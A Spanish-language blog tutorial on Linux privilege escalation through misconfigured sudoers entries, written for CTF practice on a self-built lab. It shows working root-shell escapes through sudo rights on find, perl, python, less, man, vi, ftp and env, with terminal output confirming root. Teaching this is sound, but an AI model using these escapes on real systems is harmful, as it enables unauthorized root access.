En un artículo anterior, te hablé de la escalada de privilegios Linux usando el archivo /etc/passwd y hoy estoy de vuelta para mostrarte otro método de escalada de privilegios Linux usando el archivo Sudoers.
Cuando resuelves CTFs, para la elevación de privilegios siempre tienes que comprobar los permisos de root de cualquier usuario para ejecutar cualquier archivo o comando ejecutando sudo -l
.
Concepto Teórico
En Linux/Unix, hay un archivo sudoers
en /etc
que es el archivo de configuración de los derechos sudo. ¡Todos conocen la potencia del comando sudo!
La palabra sudo representa SuperUser Do root.
El archivo Sudoers es el archivo en el que se almacenan los usuarios y grupos que tienen privilegios root para ejecutar algunas o todas las órdenes como root o otro usuario. No es muy complicado, finalmente si escribo sudo -l
y delante de un usuario veo comandos, entonces podría escribir ese comando para ser root. ¿Nada especial, verdad?
Aquí tienes el archivo sudoers: para abrirlo escribo el comando:
visudo
Cuando ejecuto un comando con sudo
, necesita privilegios root para la ejecución y Linux comprueba ese nombre de usuario particular en el archivo sudoers.
Si el usuario no está en la lista de archivos sudoers, no podrá ejecutar comandos con sudo. El usuario root, por su parte, tiene permisos especiales que le permiten ejecutar desde TODAS las terminales, actuando como TODOS los usuarios y ejecutar cualquier comando.
Sintaxis del Archivo Sudoers
Si yo (usuario root) quiero conceder el derecho sudo a un usuario particular, tengo que escribir el comando visudo
que abrirá el archivo sudoers para modificarlo. Bajo “User privilege specification
“, observo el permiso root por defecto “root ALL = (ALL: ALL) ALL
“. Pero en realidad, también hay una opción TAG disponible que es opcional.
NOTA:
(ALL:ALL) también puede representarse como (ALL)
Si no se menciona nada para el usuario/grupo, significa que sudo es por defecto el usuario root.
Práctica
Antes de atacar la parte de escalada de privilegios, voy a crear un usuario para poder mostrarte mejor cómo funciona. Te recomiendo encarecidamente que lo hagas también para probarlo.
adduser esgeeks
¡Ya está!
Método Tradicional para Atribuir el Privilegio root
Como administrador, si quiero dar los derechos de superusuario al usuario esgeeks, tengo que hacer lo siguiente:
- Abrir el archivo sudoers con el comando
visudo
- Usar la sintaxis correcta para dar los derechos
esgeeks ALL=(ALL:ALL) ALL
Ahora que he terminado la configuración, inicio mi máquina atacante Parrot OS y primero comprometo el sistema objetivo, luego paso a la fase de escalada de privilegios como en un CTF real.
Supongamos que me he conectado con éxito a la máquina de la víctima a través de ssh y quiero saber los derechos sudo del usuario actual.
ssh esgeeks@192.168.1.115
Para ello ejecuto el comando sudo -l
.
...
(ALL : ALL) ALL
esgeeks@ParrotOS: ~$ sudo su
root@ParrotOS: /home/esgeeks#
¡Funciona! Pasemos a cosas serias.
Método por Defecto para Atribuir el Privilegio root
Sigue siendo lo mismo, si como administrador quiero otorgarle al usuario esgeeks la autorización root para ejecutar todos los comandos y programas, también puedo escribir:
esgeeks ALL= ALL
Verificación desde el servidor objetivo:
...
(root) ALL
esgeeks@ParrotOS: ~$ sudo bash
root@ParrotOS: /home/esgeeks#
Aquí he usado el comando sudo bash
, pero también podía escribir sudo su
¡prueba!
Permitir el Privilegio root a los Comandos Binarios
A veces, un usuario tiene autorización para ejecutar cualquier archivo o comando de un directorio particular como /bin/cp
, /bin/cat
o /usr/bin/find
, este tipo de autorización lleva a una elevación de privilegios para acceder a root en el objetivo.
esgeeks ALL=(root) NOPASSWD : /usr/bin/find
Nota: la etiqueta NOPASSWD
significa que no se pedirá ninguna contraseña para la autenticación al ejecutar el comando sudo -l
.
Aún conectado desde nuestro acceso al servidor, observo el resultado: sudo -l
sudo find /home -exec /bin/bash \;
esgeeks@uParrotOS: ~$ sudo -l
....
(root) NOPASSWD: /usr/bin/find
esgeeks@ParrotOS:~$ sudo find /home -exec /bin/bash \;-
root@ParrotOS: /home/esgeeks# id
uid=0(root) gid=0(root) groupes=0( root )
root@ParrotOS:/home/esgeeks# |
¡Genial! Funciona, ya he visto varias veces este escenario en los CTFs, así que tenedlo en cuenta.
Permitir el Privilegio root a Más Programas Binarios
A menudo ocurre que el administrador del sistema atribuye derechos específicos a un usuario en particular para ejecutar programas binarios que permitan modificar cualquier archivo del sistema como /etc/passwd
por ejemplo.
Algunos programas binarios pueden provocar una elevación de privilegios, te lo muestro:
En el archivo sudoers añado:
esgeeks ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python3, /usr/bin/less, /usr/bin/man, /usr/bin/vi
Verificación con perl:
sudo perl -e ‘exec " /bin/bash ";’
esgeeks@ParrotOS: ~$ sudo -l
...
(root) NOPASSWD: /usr/bin/perl, /usr/bin/python3, /usr/bin/less, /usr/bin/man, /usr/bin/vi
esgeeks@ParrotOS:~$ sudo perl -e ‘exec " /bin/bash ";’
root@ParrotOS: /home/esgeeks# id
uid=0(root) gid=0(root) groupes=0(root )
root@ParrotOS:/home/esgeeks#
Verificación con python3:
sudo python -c ‘import pty;pty.spawn( " /bin/bash ")’
Verificación con less:
sudo less /etc/hosts
Cuando escribo este comando, me abre un archivo del sistema en modo edición, voy a añadir al final !bash
:
!bash
Una vez que valido con la tecla Enter, miro el resultado:
¡Bingo!
Verificación con man:
sudo man man
De la misma manera que antes, después de escribir el comando sudo man man
se abre un archivo (manual) y puedo añadir !bash
:
Un pequeño chequeo para ver si me convierto en root:
esgeeks@ParrotOS:~$ sudo man man
root@ParrotOS:/home/esgeeks# id
uid=0(root) gid=0(root) groupes=0(root)
root@ParrotOS:/home/esgeeks#
¡Yeah! ¡Es genial, me doy cuenta de que es súper potente en realidad!
Verificación con vi:
sudo vi
Tengo que admitir que es muy frecuente usar vi para escalar los privilegios a root, sigue siendo lo mismo, sólo hay que añadir !bash
(muy práctico en muchos CTfs ):
Y normalmente debería funcionar.
¡Genial!
Nota: los permisos sudo para less
, nano
, man
, vi
y man
son muy peligrosos porque permiten al usuario modificar el archivo del sistema y provocan una elevación de privilegios! ¡Estén atentos!
Otros Tipos de Programas
Como te acabo de mostrar arriba, algunos programas binarios con el derecho sudo son útiles para obtener acceso root. Pero además de eso, otras aplicaciones también pueden proporcionar acceso root si tienen el privilegio sudo, como el FTP…, te pongo en práctica para que lo entiendas mejor.
Añado:
esgeeks ALL=(ALL) NOPASSWD : /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
Como te he hablado del FTP, empiezo por él:
sudo ftp
! /bin/bash
En acción:
esgeeks@ParrotOS:~$ sudo ftp
ftp> ! /bin/bash
root@ParrotOS:/home/esgeeks# id
uid=0(root) gid=0(root) groupes=0(root)
root@ParrotOS:/home/esgeeks#
¡Es fuerte! Francamente es muy potente de todos modos.
Y para terminar, te lo muestro con el comando env
:
sudo env /bin/bash
En acción:
esgeeks@ParrotOS:~$ sudo env /bin/bash
root@ParrotOS: /home/esgeeks# id
uid=0(root) gid=0(root) groupes=0( root)
root@ParrotOS: /home/esgeeks#
Te dejo la curiosidad de probar el resto de comandos para que te puedas familiarizar con ellos.
Conclusión
Ya está, amigos, este es el final de este artículo que sigue perfectamente al anterior sobre la escalada de privilegios en Linux. Espero que hayas entendido el principio, en general no es complicado.
¡Dominar los puntos tratados será un plus para ti, tanto en CTF como en otros sitios! Después de hacer algunos CTFs, me he dado cuenta de que para los principiantes, todo se basa en lo que te acabo de explicar.
Sin embargo, si encuentras dificultades o errores durante la práctica de este artículo, no dudes en contactarme.